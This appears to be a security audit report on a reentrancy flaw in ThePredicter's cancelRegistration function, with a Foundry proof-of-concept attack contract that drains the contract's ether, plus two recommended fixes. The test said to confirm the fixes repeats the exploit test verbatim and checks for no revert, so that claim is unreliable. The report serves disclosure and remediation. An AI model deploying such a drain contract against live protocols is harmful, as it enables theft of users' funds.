Summary
The ThePredicter contract allows user to cancel registration if they have not been approved by the organizer. However, the ThePredicter::cancelRegistration refunds a user before cancelling registration, allowing a malicious user to drain all the funds of the protocol.
Vulnerability Details
Relevant link - https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L62
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
@> playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
If you notice in the function above, the ThePredicter::cancelRegistration refunds the user before cancelling registration, this allows a malicious user to drain the contract by reentering the function before it can cancel their registration.
Impact
A malicious user can drain all of the funds of the protocol. The impact is proved with the POC below.
Proof of Concept
The impact is demonstrated with the following test, which can be executed with forge test --mt testCancelRegistrationReentrancy.
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ReentrancyTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function testCancelRegistrationReentrancy() public {
address attacker = makeAddr("attacker");
for (uint256 i = 0; i < 29; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 0.04 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
vm.deal(attacker, 0.04 ether);
ReentrancyAttack attackContract = new ReentrancyAttack(thePredicter);
assertEq(address(attackContract).balance, 0);
assertEq(address(thePredicter).balance, 0.04 ether * 29);
attackContract.attack{value: 0.04 ether}();
assertEq(address(attackContract).balance, 0.04 ether * 30);
assertEq(address(thePredicter).balance, 0);
}
}
contract ReentrancyAttack {
ThePredicter public thePredicter;
uint256 public receivedEther;
constructor(ThePredicter _thePredicter) {
thePredicter = _thePredicter;
}
function attack() public payable {
require(msg.value == 0.04 ether);
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
receivedEther += msg.value;
thePredicter.cancelRegistration();
}
}
}
This test confirms that there are no funds left in the protocol. All the funds are transferred to the attacker by reentering the ThePredicter::cancelRegistration function before it can cancel their registration.
Tools Used
Manual Review, Foundry
Recommendations
There are two ways to prevent this attack.
1 - Cancelling a user's registration before refunding (Recommended)
Rearrange the function so that it cancels a user's registration and then refunds them.
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
2 - Using the ReentrancyGuard contract from @openzeppelin in ThePredicter.sol
Add the following code in the contract.
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+ contract ThePredicter is ReentrancyGuard {
- contract ThePredicter {
...
+ function cancelRegistration() public nonReentrant {
- function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
After using any one of these solutions, it can be confirmed that the function will revert with the following test. It can be executed with forge test --mt testCancelRegistrationReentrancy
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ReentrancyTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function testCancelRegistrationReentrancy() public {
address attacker = makeAddr("attacker");
for (uint256 i = 0; i < 29; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 0.04 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
vm.deal(attacker, 0.04 ether);
ReentrancyAttack attackContract = new ReentrancyAttack(thePredicter);
assertEq(address(attackContract).balance, 0);
assertEq(address(thePredicter).balance, 0.04 ether * 29);
attackContract.attack{value: 0.04 ether}();
assertEq(address(attackContract).balance, 0.04 ether * 30);
assertEq(address(thePredicter).balance, 0);
}
}
contract ReentrancyAttack {
ThePredicter public thePredicter;
uint256 public receivedEther;
constructor(ThePredicter _thePredicter) {
thePredicter = _thePredicter;
}
function attack() public payable {
require(msg.value == 0.04 ether);
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
receivedEther += msg.value;
thePredicter.cancelRegistration();
}
}
}
